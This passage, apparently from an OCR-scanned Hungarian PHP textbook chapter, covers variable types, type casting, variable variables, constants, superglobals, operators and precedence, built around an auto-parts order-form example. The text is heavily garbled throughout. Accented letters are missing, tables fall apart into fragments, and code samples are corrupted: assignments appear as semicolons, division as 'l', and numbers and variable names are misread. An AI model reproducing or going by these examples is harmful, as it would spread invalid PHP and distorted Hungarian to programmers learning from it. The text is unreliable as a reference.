az albbi plda muratja:
$osszmennyiseg
$vegosszeg

0;

$osszmennyiseg;

Vltoztpusok
A vltoz tpusa a benne trolt adatra ural. A PHP-ban tbbfle adattpus hasznlhat. A klnbz adatokat klnbz
adattpusokban trolhatjuk.

A PHP adattpusai
A PHP a kvetkez alapadattpusokat tmogatja:
Integer- egsz szm
Float (msnven double)- vals (lebegpontos) szm
String- karakterek sorozata, karakterlnc
Boolean- true

(igaz) vagy false

(hamis) rtket felvehet logikai vltoz

Array - tmb, tbb adatelem trolsra hasznlhat vltoz (lsd a

Tmbk hasznlata cm 3. fejezetet!)

Object - objektum, osztlypldnyok trolsra hasznlt vltoz (lsd a 6. fejezetet!)


Kt klnleges adattpus is hasznlhat: NULL s resource. A kezdrtk nlkli vagy NULL rtk vltozk NULL tpu
sak. Egyes beptett fggvnyek (pldul az adatbzisfggvnyek) resource tpus vltozkat adnak vissza. Ezek kls erfor
rsra (pldul adatbzis-kapcsolatokra) hivatkoznak. Kzveclenl valsznleg soha nem fogunk resource vltozt mdostani,
m egyes fggvnyek ezeket adjk vissza, s paramterknt gyakran ms fggvnynek kell tadnunk ezeket.

Tpuserssg foka
A PHP-t gyengn tpusos, mskppen fogalmazva dinamikusan tpusos nyelvnek nevezzk. A vltozk a legtbb programoz
si nyelvben csak egyfle tpus adatot tartalmazhatnak, s ezt a tpust a vltoz hasznlata eltt deklarlni kell (pldul C-ben).
PHP-ben viszont a vltoznak adott rtk hatrozza meg a vltoz tpust.

PHP gyorstalpal

21

. Amikor pldul az $osszmennyiseg s a $vegosszeg vltozt ltrehozruk, kezdrtkket az albbiak szerint adtuk meg:
Sosszmennyiseg
$vegosszeg

O;

0.00;

Mivel a O-t, azaz egsz szmot rendeltnk az $osszmennyiseg-hez, ez most egy integer tpus vltoz. A $vegosszeg
pedig ugyanilyen logika miatt float tpus.
Kicsit furcsnak tnhet, de akr a kvetkez sorral is folytathatnnk kdunkat:
$vegosszeg

'Hell';

A $vegosszeg vltoz ekkor string tpus lenne. A PHP a vltozban trolt rtk tpusa alapjn vltoztatja a vltoz
tpust.
A tpusok menetkzben, tlthat mdon trtn mdostsnak lehetsge igen hasznos. Ne feledjk, hogy a PHP varzs
tsre rudja, hogy milyen adattpust trolrunk el a vltozkbal Amikor visszakeressk a vltozt, ugyanolyan adattpus adatot
ad vissza.

Tpusknyszerts
Tpusknyszertssei (type casting) elrhetjk, hogy egy vltoz vagy rtk ms tpusknt viselkedjen. Ez a funkci ugyangy
mkdik itt is, mint C-ben. Egyszeren zrjelben az talaktani kvnt vltoz el rjuk az ideiglenes tpust.
Az elz rszben lv kt vlrozt talakrssal is deklarlhartuk volna:
$osszmennyiseg
$vegosszeg

0;

(float)$osszmennyiseg;

A msodik sor a kvetkezt jelenti: "Vedd az $osszmenn yiseg vltozban trolt rtket, rtelmezd float tpusknt, s
trold el a $vegosszeg vltozban!" A $vegosszeg vltoz ezzel float rpus lesz. Az talakrand vltoz tpusa nem
vltozik, gy az $osszmennyiseg integer tpus marad.
Beptett fggvnnyel is ellenrizhetjk s bellthatjuk a vltozk tpust; ezekrl a fggvnyekrl a fejezet ksbbi rsz
ben olvashatunk.

Vltoz vltozk
A PHP mg egy vlroztpust hasznl: a vltoz vltozt. A vltoz vltozk lehetv teszik a vltoznv dinamikus mdo
stsr.
Mint ltni fogjuk, a PHP elg nagy mozgsteret ad ezen a terleten. Minden nyelvben megvltoztathatjuk a vltozk
rtkr, de csak nhny nyelv engedi a vltoztpus mdostst, s mg kevesebb nyelvben megengedett a vltoznv vl
toztatsa.
A vltoz vltoz gy mkdik, hogy egy vltoz rtkt hasznlja egy msik neveknr. Vegyk pldul az albbi rtkadst:
$valtozo_neve

'abroncs_db';

Ezt kveten az $abroncs_db helyert hasznlhatjuk a $$valto z o_neve-t is. Az $abroncs_ db rtkt pldul a kvet
kezkppen is bellthatjuk:
$$valtozo_ne ve

5;

Ez pontosan a kvetkezvel egyenrtk:


$abroncs_db

5;

Ez a megkzelts egyelre Icicsir megfoghatatlannak tnhet, de a ksbbiekben mg visszatrnk hasznlatra. Minden


egyes rlapvltoz egyenknti lisrzsa s hasznlata helyett ciklussal s vltozval automatikusan feldolgozhatjuk ket. A feje
zet ksbbi, a for ciklusokat bevezet rszben pldn keresztl fogjuk ezt bemutatni.

llandk deklarlsa s hasznlata


Ahogy korbban mr lttuk, knnyedn megvltoztathatjuk a vltozkban trolt rtket. Ugyanilyen egyszeren deklarlha
runk llandkat (konstansokat). Az llandk ugyangy rtket rrolnak, mint a vltozk, m rtkket egyszer lltjuk be, s
a kdban sehol mshol nem lehet azokat megvltoztatni.
A mintaalkalmazsban llandknt lehet elmenteni pldul a forgalmazott termkek rt. A konstansokat a define fgg
vnnyel hatrozharjuk meg:
define ( 'ABRONCS AR' ,
define ( 'OLAJAR',

l O O) ;

10);

define ( 'GYERTYAAR' ,

4) ;

22

2. fejezet

Adjuk ezeket a sorokat kdunkhoz! gy van mr hrom llandnk, amit a vevi rendels vgsszegnek kiszmtsra fo
gunk hasznlni.

Vegyk szre, hogy az llandk nevt nagybernvel rtuk! Ez a C-bl tvett szoks egyszeren, rnzsre megklnbztet
hecv tes:d a vltozkat s az llandkat. Nem ktelez, mgis rdemes ragaszkodni ehhez, mivel knnyebben olvashatv s
ttekinthetv teszi kdunkat.
Az llandk s a vltozk kzte egy fontos klnbsg, hogy amikor llandra hivatkozunk, nem kell dollrjelet rakni el.
Ha szksgnk van az lland rtkre, csak a nevt kell hasznlnunk. Ha pldul az imnt ltrehozott konstansok kzl az
elst szeremnk hasznlni, a kvetkezket gpelnnk be:
echo

ABRONCSAR;

A PHP az ltalunk meghatrozott llandkan kvl szmtalan sajt (beptett) llandval rendelkezik. Ezeket a legegysze
rbben gy tekinthetjk t, ha lefuttatjuk a phpinfo ( ) fggvnyt:
phpinfo();
A fggvny -sok ms hasznos informci mellett -a PHP elre definilt vltozinak s llandinak listjt adja vissza.
Ahogy haladunk a knyvben, nmelyikkel mi magunk is tallkozni fogunk.
A vltozk s llandk kztti msik klnbsg, hogy az utbbiak csak boolean, integer, float s string pus adatokat trol
hamak. Ezeket az adattpusokat egyttesen skalris rtkeknek nevezzk.

Vltozk hatkre
A hatkr (scope) kifejezs a kd azon terleteire utal, ahol az adott vltoz elrhet. A PHP-nek a hatkrre vonatkoz, hat
alapvet szablya a kvetkez:
A beptett szupergloblis vltozk a kdon bell brhol elrhetk.
Deklarlsuk utn az llandk globlisan elrhetk; ez azt jelenti, hogy a fggvnyeken bell s kvl is hasznlhatk.
(De fggvnyen bell csak akkor rhet el az adott globlis vltoz, ha a global kulcsszval deklarljuk azt.)
A kdban deklarlt globlis vltozk a kdban brhol elrhetk, csak a fggvnyeken bell nem.
A globlisknt deklarlt fggvnyekben lv vltozk az ugyanolyan nev globlis vltozkra hivatkoznak.
A fggvnyekben bevezetett s static kulcsszval deklarlt vltozk a fggvnyeken kvlrl nem rhetk el, m
a fggvny kt meghvsa kzte megrzik rtkket. (Az 5. fejezetben rszletesebben elmagyarzzuk ezt a mkdst.)
A fggvnyekben bevezetett vltozk az adott fggvnyre nzve helyiek, s a fggvny vgn megsznnek ltezni.
A $_GET s a$_POST tmb, illetve nhny klnleges vltoz egyni hatkrszablyokkal rendelkezik. Ezek
szupergloblis vagy autogloblis vltozk, amelyek rnindenhol, fggvnyeken bell s kvl is lthatk.
A szupergloblis vltozk teljes listja a kvetkez:
-az sszes globlis vltozt tartalmaz tmb (a global kulcsszhoz hasonlan ez is lehetv teszi a glo

$GLOBALS

blis vltozkhoz val, fggvnyen belli hozzfrst-pldul gy: $GLOBALS [ 'sa j a t_val toz o'
$_SE RVER

-a kdnak GET metdussal tadoct vltozk tmbje

$_GET
$_POST

-a kdnak

$_FILES

POST

metdussal tadoct vltozk tmbje

-bngszstik vltozinak tmbje

$_COOKIE

$_ENV

l)

-a kiszolgl ltal elrhetv tett vltozk tmbje

-fjlfeltltsekhez kapcsold vltozk tmbje

-a krnyezeti vltozkat tartalmaz tmb

$_ REQUEST

-az sszes felhasznli bevitele, kztk a$_GET,$_POST s$_COOKIE vltozkat magban foglal

beviteli tartalmat tartalmaz tmb (amely a PHP 4.3.0 verzija ta a$_F I LES vltozkat nem tartalmazza)
$_ SESSION-

munkamenet (session) -vltozk tmbje

A knyvben mg tbbszr visszatrnk ezekhez a szupergloblis vltozkhoz, akkor s ott, amikor relevnss vlnak. A ha
tkrt rszletesebben is megtrgyaljuk a fejezet egy ksbbi, a fggvnyeket s osztlyokat bemutat rszben. Egyelre rnin
den vltoz, amit hasznlunk, alaprtelmezsben globlis lesz.

Mveleti jelek hasznlata


A mveleti jelek, ms nven opertorok olyan szimblumok, amelyekkel rtkeket s vltozkat kezel nk, rajtuk mveletet
vgrehajtva. A vevi rendels vgsszegnek s adtartalmnak kiszmtshoz egyes mveleti jelek hasznlatra lesz szk
sgnk.
Kt mveleti jel kerlt eddig szba, az rtkad ( = ) s a karakterlnc-sszefz ( . ) opertor. A kvetkez rszekben a m
veleti jelek celjes listjt ttekintjk.

PHP gyorstalpal

23

A mveleti jelek ltalnossgban egy, kett vagy hrom paramtert hasznlnak, tbbsgk azonban kettt. Az rtkad
mveleti jel is kt paramterrel mkdik: az =jel bal oldaln trolsi helyet, jobboldalt pedig egy kifejezst tallunk. Ezeket
a paramtereket tnyezknek (mveletrtknek vagy operandusnak) hvjuk.

Aritmetikai mveleti jelek


Az aritmetikai opertorok magtl rtetdek, hiszen ezek a jl ismert matematikai mveleti jelek. A PHP aritmetikai mve
leri jeleit az 1.1. tblzat tartalmazza.
1.1 tblzat: A PHP aritmetikai mveleti jelei

Mveleti jel

Neve

Plda

sszeads

$a + $b

Kivons

$a - $b

Szorzs

$a

Oszts

$a

l $b

Maradkkpzs

$a

$b

$b

Ezekkel az opertorokkal mveletek eredmnyt trolhatjuk el, mint az albbi pldban:


$eredmeny

$a + $b;

Az sszeads s a kivons a vrt mdon mkdik. Ennek a kr mveleri jelnek az eredmnye az $a s $b vltozban eit
rolt rtk sszeadsa, illetve kivonsa.
A kivons szimblumt (-) egyoperandus mveleti jelknt is hasznlhatjuk, ekkor a negatv szmokar jelli, mint az albbi
pldban:
$a

-1;

A szorzs s az oszts is nagyrszt gy mkdik , ahogy gondolnnk. Figyeljk meg, hogy a matematikban megszokott
szorzsjel helyett csillagot hasznlunk szorzsmveleti jelknt, osztsjel helyett pedig perjelet!
A maradkkpzs (modulus) mveleri jel az $a vltoz $b vltozval trtn osztsakor kapott maradkot adja vissza.
Gondoljuk vgig a kvetkez kdrszletet:
$a

27;

$b

10;

$eredmeny

$a%$b;

Az $eredmeny vltozban eltrolt rtk a 27 tzzel val oszrsakor kapott maradk- vagyis 7.
Fontos megjegyezni, hogy az aritmetikai mveleti jeleket ltalban egsz vagy lebegpontos szmokra alkalmazzuk. Ha pldul
string rpus adatra alkalmazzuk ket, akkor a PHP megksrli a karakterlncot szmm alaktani. Ha e vagy E bett tartalmaz,
tudomnyos jellsknt rtelmezi, s float rpus, azaz lebegpontos szmm alaktja azt, msklnben egsz szmm. A PHP
szmjegyet keres a karakterlnc elejn, s rtknek tekinti azt; ha nincsen szmjegy, a karakterlnc rtke nulla lesz.

Karakterlncokon alkalmazhat mveleti jelek


A karakterlncokon hasznlhat egyetlen mveleti jellel mr tallkoztunk s dolgoztunk is. A karakterlnc-sszefz m
veleti jelet az sszeads opertorhoz hasonlan hasznlva sszeadhatunk kt karakterlncot, illetve elmenthetjk ennek
eredmnyt:
$a

$b

"Bob

";

"auta1katrszek";

$eredmeny

$a.$b;

Az $eredmeny vltoz ekkor a "Bob autalkatrszek" karakterlncot tartalmazza.

rtkad mveleti jelek


Az alapvet rtkad mveleti jellel ( = ) mr tallkoztunk. Mindig rtkad mveleti jelknt tekintsnk r, s a kvetkezkp
pen olvassuk: ..-ra van lltva"! Pldul:
$osszmennyiseg

0;

24

2. fejezer

Ezr a sort gy kell olvasni, hogy ..az $oss zmenn y i seg vltoz nullra van llrva:' Ennek okr a fejezet egy ksbbi, az ssze
hasonlr mveleti jeleket trgyal rszben fogjuk megvilgrani, m ha egyenlnek olvassuk, elbb-utbb sszezavarodunk.

rtkads ltal visszaadott rtkek


Az rtkad mveleri jel a tbbi opertorhoz hasonlan egy rtket ad vissza. Ha azt rjuk, hogy
$a + $b
akkor ennek a kifejezsnek az rtke az $a s a $b vltoz sszeadsnak az eredmnye. Hasonlkppen azt is rharjuk, hogy
$a ; 0;

Ennek a reljes kifejezsnek az rtke nulla.


Ez a mdszer lehetv teszi az albbihoz hasonl kifejezsek hasznlatr:
$b ; 6 + ($a ; 5);
Ez a sor ll-re llrja a $b vltoz rtkr. Az ilyen viselkeds ltalnossgban igaz az rtkadsra: a teljes rtkadsi utasts
rtke a bal oldalon lev tnyezhz rendelt rtk.
Amikor egy kifejezs rtkt szmtjuk ki, zrjeleket hasznlva szablyozharjuk a mveletek sorrencljt, ahogy a fenti pl
dban is tettk. Ez pontosan gy mkdik, rnint a matematikban.

sszetett rtkad mveleti jelek


Az egyszer rtkad mveleri jelen tlmenen sszetett rtkad opertorok is alkalmazhatk. Ezek rnindegyike azt rvidti
le, hogy valamilyen mveletet hajrunk vgre a vltozn, majd a mveler eredmnyt rendeljk a vlrozhoz. Nzzk a kvetke
z pldt:
Sa +; 5;

Ez azzal egyenrtk, mintha ezt rtuk volna:


+ 5;
Az sszetett rtkad mveleti jelek az aritmetikai opertorokhoz, illerve a karakterlnc-sszefz mveleti jelhez alkalmaz
hatk. Az ilyen sszetett rtkad opertorokat s hasznlatuk eredmnyt foglalja ssze az 1.2 tblzat.
Sa ; Sa

1.2

tblzat: A

Mveleti jel
+;

PHP

sszetett rtkad mveleti jelei


Hasznlata
$a
$a

+;

Mivel egyenl

$b

$a

$a

$b

Sa

$a

$b
Sb

*;

Sa

$b

$a

$a

l;

$a l; $b

Sa

$a l $b

%;

$a %; Sb

$a

$a % $b

$a

$a

$a

*;

$b

Sb

$b

Elzetes s utlagos nvels s cskkents


Az elzetes s utlagos nvels (++ ) s cskkents (-- ) mveleti jel a+; s-; sszetett rtkad opertorhoz hasonl, n
hny klnbsg azonban megfigyelhet kzttk.
Minden nvels mveleti jelnek ketts hatsa van: rtknvels s rtkads.
Gondoljuk t a kvetkezket:
$a;4;
echo ++Sa;

A msodik sor az elzetes nvels (pre-increment) mveleti jelet hasznlja, amit azrt hvnak gy, mert a++ az $a vltoz
eltt jelenik meg. Az opertor eredmnye az Sa rtknek nvelse eggyel, illerve a megnvelt rtk visszaadsa. Jelen esetben
az $a rtke 5-re n, majd az opertor visszaadja az rtkr, s az utasts megjelenti azt. A teljes kifejezs rtke 5. (Vegyk
szre, hogy az $a vltozban trolt rtk tnylegesen megvlrozott: nem egyszeren Sa + l-et ad vissza!)
Ha azonban a++ az $a utn helyezkedik el, akkor utlagos nvels (post-increment) mveleti jelet hasznlunk, arninek
ms a hatsa. Vizsgljuk meg a kvetkez kdrszlerer:
$a;4;
echo $a++;

PHP gyorstalpal

25

Itt a mveleti jel hatsa fordtott. Az echo utasts elszr visszaadja s megjelenti az $a rtkr,majd megnveli azt.
Ennek a teljes kifejezsnek az rtke 4. Ezt az rtket fogja megjelenteni. Az urasrs vgrehajtsa utn azonban 5 lesz az $a
rtke.
Jl gondoljuk,a-ben

az

mveleri jel hasonlan mkdik. Hasznlata azonban nem nveli,hanem cskkenti a vltoz, jelen eser

$a rtkr.

Hivatkozsi mveleti jel


A hivatkozsi mveleri jelet ( &-.,s" jel) az rtkadssal egyttesen hasznlhatjuk.Amikor alapesetben valamely vltozt egy
msikhoz rendelnk, az els vltoz msolata jn ltre s troldik el a memria ms helyn. Vegyk pldul a kvetkez kd
rszletet:
$a

5;

$b = $a;
Ezek a sorok ltrehozzk az $a vltoz rtknek msodik msolatt,s eltroljk a $b vltozban.Ha ezt kveten meg
vltoztatjuk az $a rtkr, a $b vltoz nem vltozik:
$a = 7; // a $b rtke tovbbra is 5 lesz

A msolat ksztst hivatkozsi mveleti jel hasznlatval kerlhetjk el.Pldul:


$a = 5;

$b = &$a;
$a= 7; // az $a s a $b rtke is 7 lesz
A hivatkozsok kicsit trkks dolgok.Ne feleelj k,hogy a hivatkozs inkbb alias, mintsem mutat! Az $a s a $b ugyan
arra a memriahelyre mutat.A hivatkozsi mveleti jel hatst a kvetkezkppen oldhatjuk fel:
unset ($a);

A felolds nem vltoztatja meg a $b rtkt (7), hanem megsznteti az $a s a memriban ttolt 7-es rtk kztti kapcsolatot.

sszehasonlt mveleti jelek


Az sszehasonlt mveleti jelek kt rtket hasonltanak ssze.Az ilyen mveleti jeleket hasznl kifejezsek az sszehasonl
ts eredmnytl fgg logikai rtket adnak vissza ( true vagy false, azaz igaz vagy hamis).

Az egyenl mvelet jel


Az egyenl sszehasonlt mveleti jel (==-kt egyenlsgjel) segtsgvel kt rtk egyenlsgt llapthatjuk meg.A kvet
kez kifejezssel:
$a== $b
azt ellenrizhetjk, hogy az $a s a $b vltozban trolt rtkek megegyeznek-e.A kifejezs ltal visszaadott rtk egyenl
sg esetn true (igaz), ellenkez esetben false (hamis).
Az== opertort knny sszekeverni az rtkads mveleti jelvel (=).Ha rossz opertort vlasztunk, a kd hiba nlkl
lefut ugyan, m minden bizonnyal nem kvnt eredmnyhez vezet. A nem nulla rtkek ltalnossgban igazknt,a nullk ha
misknt rtkeldnek ki.Tegyk fel,hogy a kvetkez rtkeket adtuk az albbi kt vltoznak:
$a = 5;
$b = 7;
Ha ezt kveten tesztelnnk az $a = $b kifejezst, az eredmny true lenne.Hogy mirt? Az $a = $b rtke a bal ol
dalhoz rendelt rtk, ami jelen esetben

7. Mivel a 7 nem nulla,a kifejezs igazknt rtkeldik ki.Ha az $a ==

$b kifejezst

szerertk volna tesztelni, ami egybknt hamis, akkor rendkvl nehezen megtallhat logikai hibt vtettnk volna a progra
mozsban.Mindig ellenrizzk e kt mveleti jel hasznlatr, illetve azt, hogy a megfelel opertort vlasztottuk-e!
Knnyen elkvethet hiba,hogy az rtkad mveleti jel helyett egyenlsg sszehasonltst hasznlunk, amit minden bi
zonnyal sokszor megtehetnk programozi plyafutsunk sorn.

Tovbbi sszehasonlt mveleti jelek


A PHP szmos egyb sszehasonlt mveleti jelet tmogat.A tmogatott opertorok sszefoglalst az 1.3 tblzatban tall

juk. Felhvjuk a figyelmet az azonos mveleti jelre (=== ),amely akkor ad vissza true rtket, ha a kt tnyez rtke s tpusa
is megegyezik.Ha pldul az egyik nulla integer,a msik pedig string tpus,akkor a 0==0 igaz lesz,a 0===0 viszont hamis.

26

2. fejezet

1.3 tblzat: A PHP sszehasonlt mveleti jelei

Mveleti jel

Hasznlat
$b
$a

Nv
Egyenl

--

$a

Azonos

---

$b

$a != $b

!=

Nem egyenl

!==

Nem azonos

$a !== $b

Nem egyenl (sszehasonlt mveleti jel)

$a <> $b

<>
<

$a < $b

Kisebb, mint

>

Nagyobb, mint (sszehasonlt mveleti jel)

<=

$a <= $b

Kisebb vagy egyenl

>=

$a > $b
$a >= $b

Nagyobb vagy egyenl

Logikai mveleti jelek


A logikai opertorok logikai felttelek eredmnyeit vonjk ssze. Ha pldul azt szerernnk megllaptani, hogy az $a vltoz
rtke O s 100 kz esik-e, akkor kt felttel teljeslst kell megllaptanunk ($a >= O s $a <= l 00} az S mveleti jel
hasznlatval:

$a >= O

&&

Sa <=100

A PHP a logikai S,VAGY, KIZR VAGY sNEM mveleti jelet tmogatja. Ezeket, illetve hasznlatukat az 1.4 tbl
zat foglalja ssze.
1.4 tblzat: A PHP logikai mveleti jelei

Mveleti jel

Nv

Hasznlat

NEM

!$b

&&

VAGY

ll

$a

Eredmny
Igaz, ha $b hamis

$b

&&

Igaz, ha $a s $b is igaz; msklnben hamis

Sa ll $b

Igaz, ha $a vagy $b vagy mindkett true;


msklnben hamis

and
or

$a and $b

VAGY

$a

or

$a

KIZR

x or

$b
or

Ugyanaz, mint a l l, de a mveletsorrendben htrbb van

$b

or

Igaz, ha $a vagy $b igaz, de ha mindkett igaz vagy hamis,


akkor hamis lesz az rtke

VAGY
Az and s az

Ugyanaz, mint az & &, de a mveletsorrendben htrbb van

mveleti jel a kirtkdsi sorrendben az && s 1 1

opertor mgtt helyezkedik el. A kirtkdsi sor

rendrl a fejezet ksbbi rszben olvashatunk.

Bitmveleti jelek
A bitmveleti jelek (bitwise operator) lehetv teszik, hogy az egsz szmokat az ket alkot bitek sorozataknt kezeljk.Nem
valszn, hogy PHP-ban tl sokat hasznlnnk ezeket a bitmveleti jeleket, mindazonltal az 1.5 tblzat sszefoglalja ket.
1.5 tblzat: A PHP bitmveleti jelei

Mveleti jel

Nv

&

Bit S

Hasznlat
$a & $b

Eredmny
Ott lesz 'l' az eredmnyben, ahol $a s $b mindegyikben
az a bit '1'-es. Minden ms biten 'O'.

BitVAGY

$a

$b

Ott lesz T az eredmnyben, ahol $a s $b kzl legalbb


az egyik azon bige '1'-es. Minden ms biten 'O'.

BitNEM

-Sa

$a sszes bitjt invertlja.

PHP gyorstalpal

Mveleti jel

Nv

Has:z;nlat

Eredmny

Bit

$a

Ott les:z; 'l' a:t eredmnyben, ahol $a s $b kzl csakis

KIZR VAGY

$b

pontosan
<<

Biteltols balra

$a << $b

$a

>>

Biteltols jobbra

$a

$a

az

egyikben 'l' llt. Minden ms biten 'O'.

bitjeit $b szm bittel balra tolja(minden bitnyi elto

ls 2-vel val s:torzst jelent).


>> $b

bitjeit $b s:z;m bittel jobbra tolja(minden bitnyi elto

ls 2-vel val egsz osztst jelent)

Egyb mveleti jelek


Az eddig bemutatott mveleti jelek mellett tovbbiakat is alkalma:z:harunk.
A vessz mveleti jel(,) fggvnyparamtereket s ms listaelemeket vlaszt el. A lapesetben magtl rtetden hasznljuk.
Ltezik kt klnleges mveleti jel, a new s a ->, amit osztly, illetve hozzfrsi osztly tagjainak rtkadsra haszn
lunk. Ezeket a 6. fejezetben rszletesebben meg fogjuk vizsglni.
A kvetkezkben rviden bemutatunk mg nhny mveleti jelet.

hromoperandus mveleti jel

A hromoperandus(ternary) mveleti jel?


( : ) a kvetkez formban mkdik:
felttel? rtk,

ha

igaz

rtk,

ha hamis

Ez az opertor a:t if-else utasts kifejezses megfelelje, amellyel a fejezet ksbbi rszben foglalkozunk.
Egyszer plda a hasznlatra:
($vizsgaeredmeny >= 50?

'Atment'

'Megbukott')

A fenti kifejezs a hallgatk vizsgaeredmnyt minsti tment vagy megbukott kategria szerint.

hibakezel mveleti jel

A hibakezel mveleti jelet ( @) rtket elllt vagy rtkkel rendelkez kifejezsek eltt hasznlhacjuk Nzzk a:t albbi
pldt:
$a = @(57/0);

Az@ opertor nlkl ez a sor nullval trtn osztshibt jelezne. A mveleti jel hasznlata figyelmen kivl hagyja(elnyom

ja) a hibt.

Amikor ilyen mdszerrel figyelmen kvl hagyjuk a figyelmeztetseket, hibakezel kdot kell rnunk, amely ellenrzi, hogy
egyltaln mikor kvetkeznek be a figyelmeztetsek. A mennyiben a PHP php. ini fjljban bekapcsoljuk a track_errars
belltst, a $php_errormsg globlis vltozha kerlnek a hibazenetek

vgrehajt mveleti jel

A vgrehajt opertor iga:z:bl egy pr fordtott idzjel(' '). Ez nem egyszeres idzjel; ltalban a tilde(

) karakterrel

megegyez billentyn tallhat a klaviarrn(magyar billentyzet esetn pedig a 7 -es billentyn).


A PHP a fordtott idzjelek kztti szveget parancsknt prblja meg vgrehajtani a kiszolgl parancssorban. A kifeje
zs ttke a parancs eredmnye lesz.
Pldul Unix-szer opercis rendszerek esetn hasznlhatjuk a:t albbi kdot:
$out = 'ls -la';
echo '<pre>'.$out. '</pre>';

Windowsos kiszolgl esetn a fenti megfelelje:

$out
echo

'dir c: ';

'<pre>' .$out. '</pre>';

Mindkt kd fogja a knyvtrak listjt s elmenti az $out vltozban. Ezt kveten megjelenthetjk a:tt bngszben, de
mskppen is dolgozharunk vele.
Ms mdszerek is lteznek arra, hogy parancsokat hajtsunk vgre a kiszolgln. A 19. fejezetben (Afjlrendszer s

l elrse) fogjuk ttekinteni ezeket.

kiszolg

27

28

2. fejezet

Tmbmveleti jelek
Tbbfle tmbmveleti jel ltezik. A tmbelem-opertorokkal ( [ J ) a tmbelemeket rhetjk el. Bizonyos tmbk esetn a =>

mveleti jelet is hasznlhatjuk. Ezekkel az opertorokkal a 3. fejezerben ismerkednk majd meg.


Tovbbi tmbmveleti jelek is hasznlhark. Ezeket is rszletesen megtrgyaljuk a 3. fejezetben, m a teljessg kedvrt az
1.6 tblzatban is szerepeltetjk ket.
1.6 tblzat: A PHP

tmbmveleti jelei

Eredmny

Azonos

Hasznlat
+ $b
$a -- $b
$a --- $b

!=

Nem egyenl

$a

Akkor igaz, ha $a s $b nem egyenl

<>

Nem egyenl

$a <> $b

Nem azonos

$a

Nv

Mveleti jel
+

$a

Uni
Egyenl

!==

!= $b

!== $b

Az $a s $b tmb minden elemr tartalmaz tmbt ad vissza


Akkor igaz, ha az $a s $b tmb elemei kalcsonknt megegyezk
Akkor igaz, ha az $a s $b tmb elemei s azok sorrendje megegyezik
Akkor igaz, ha $a s $b nem egyenl
Akkor igaz, ha $a s $b nem azonos

Ltni fogjuk, hogy az 1.6 tblzatban szerepl tmbmveleti jeleknek ltezik skalris vltozkon alkalmazhat megfeleljk.
Amennyiben megjegyezzk, hogy a

+ sszeadst jelent skalris vltozk s unitmbk esetn, akkor analgit tallhatunk

a kett kztt - noha a mveleti jel matematikai rtelemben eltr en mkdik a kt esetben. A tmbket s a skalris tpuso
kat nem lehet egymssal rtelmesen sszehasonltani.

Tpusmveleti jel
Egyetlen tpusmveleti jel ltezik: instanceof. Objektumorientlt programozsban hasznljuk, itt csak a teljessg kedvrt
emltjk. (Az objektumorientlt programozssal a 6. fejezetben foglalkozunk.)
Az instanceof mveleti jellel kiderthetjk, hogy egy objektum egy adott osztly pldnya-e, pldul:
class mintaOsztaly{};
$sajat_Objektum = new mintaOsztaly();
if ($sajat_Objektum instanceof mintaOsztaly)
echo "a sajat_Objektum a mintaOsztly pldnya";

Az rlap vgsszegnek kiszmtsa


Most, hogy megismertk a PHP mveleti jeleinek a hasznlatr, kszen llunk arra, hogy kiszmtsuk Bob megrendelsi r
lapjn a vgsszeget s az adtartalmat. rjuk be ehhez PHP kdunk aljra a kvetkezket:
$osszmennyiseg = 0;
$osszmenny1seg = $abroncs db
echo "Rendelt termkek szma:

$olaJ_db

$gyertya_db;

".$osszmennyiseg."<br l>";

$vegosszeg = 0.00;

define( 'ABRONCSAR'
define('OLAJ AR',

l 00) ;

10) ;

define( 'GYERTYAAR', 4) ;
$vegosszeg = $abroncs_db

$olaj_db

$gyertya_db

ABRONCSAR
OLAJAR
*

GYERTYAAR;

echo "Rszsszeg:

$".number_format($vegosszeg,2)."<br l>";

$adokulcs = 0.10;

ll a helyi forgalmi ad

$vegosszeg

$vegosszeg

echo "Vgsszeg fval:

* (l +

10%

$adokulcs);

$".number_format($vegosszeg,2) ."<br l>";

Ha frisstjk a bngszablakban az oldalt, az 1.5 brn lthathoz hasonl kimenetet kell kapnunk.
Lthatjuk, hogy a kdrsz szmos mveleti jelet tartalmaz. Az sszeads (+) s szorzs

( ) opertorok segitsgvel szmol


*

juk ki a vgsszeget, az sszefzs mveleti jelet (. ) pedig a bngsznek kldtt kimenet bellrshoz hasznljuk.

PHP gyorstalpal

Bob autalkatrszek
Rendelsi eredmnyek
Rmddkid6pga!JI'.IIT.34.1-41h
R.eodetSDiom.l2
$:264.00
VFA-Ylll:$29040

vevi megrendels vgsszegt kiszmoltuk, formztuk s megjelen tettk.

1.5 bra: A

A kd a number_ forrnat () fggvnnyel formzza a vgsszeget kt tizedesjegyet tartalmaz karakterlncc. Ez a fgg


vny a PHP Math knyvtrbl szrmazik.
Ha jobban megvizsgljuk a szntsokat, felmerlhet a krds, hogy mirt ebben a sorrendben hajtjuk vgre azokat. Vizs
gljuk meg pldul a kvetkez utastst:
$vegosszeg = $abroncs_db * ABRONCSAR
+ $olaj

db

OLAJAR

+ $gyertya db

GYERTYAAR;

A vgsszeg helyesnek tnik, de mirt az sszeadsok eltt vgeztk el a szorzsokat? A vlasz a mveletek elsbbsgben vagyis kittkelsk sorrendjben - rejlik.

Mveletek elsbbsgi sorrendje s a csoportosthatsg


A mveleti jeleknek (azaz a mveleteknek) ltezik egy ltalnos elsbbsgi sorrendje, amely szerint kirtkelsk trtnik. A m
veleti jelek csoportosthatk ( asszociatvek) is lehemek, ami azt hatrozza meg, hogy az ugyanolyan elsbbsg opertorok kirt
kelse milyen sorrendben trtnik. Ez a sorrend ltalban balrl jobbra (rviden bal),jobbrl balra (rviden

jobb) vagy irrelevns.

Az 1.7 bra a mveletek PHP-beli elsbbsgi sorrencljt s csoportosthatsgt mutatja. A tblzatban a legalacsonyabb el
sbbsgi sorrenddel rendelkez mveleti jelek tallhatk fell, lefele haladva n az elsbbsgk.
l. 7 tblzat:

Mveleti jelek elsbbsgi sorrendje PHP-ben

Csoportosthatsg

Mveleti jelek

bal
bal

or

bal

xor

bal

and

jobb

print

bal

= += -= *= /=

bal

bal

ll

bal

&&

%= &=

l= A= -=

<<=

>>=

bal
bal
bal

&

!= ===

nem rtelmezhet
nem rtelmezhet

<

bal

<<

bal

<=

>

>>

bal

* l

++

jobb

[]

nem rtelmezhet

new

nem rtelmezhet

()

!==

>=

jobb

--

(int)

29

(double)

(string)

(array)

(object)

30

2. fejezet

Vigyzat, mg nem beszltnk a sorrendben legels mveleti jelrl, a j reg zrjelrl! A zrjel hasznlata megnveli az
ltala kzrefogott tartalom elsbbsgi sorrendjt.Ezzel szksg esetn tudatosan kezelhetjk s alakthatjuk az elsbbsgi

szablyokat.
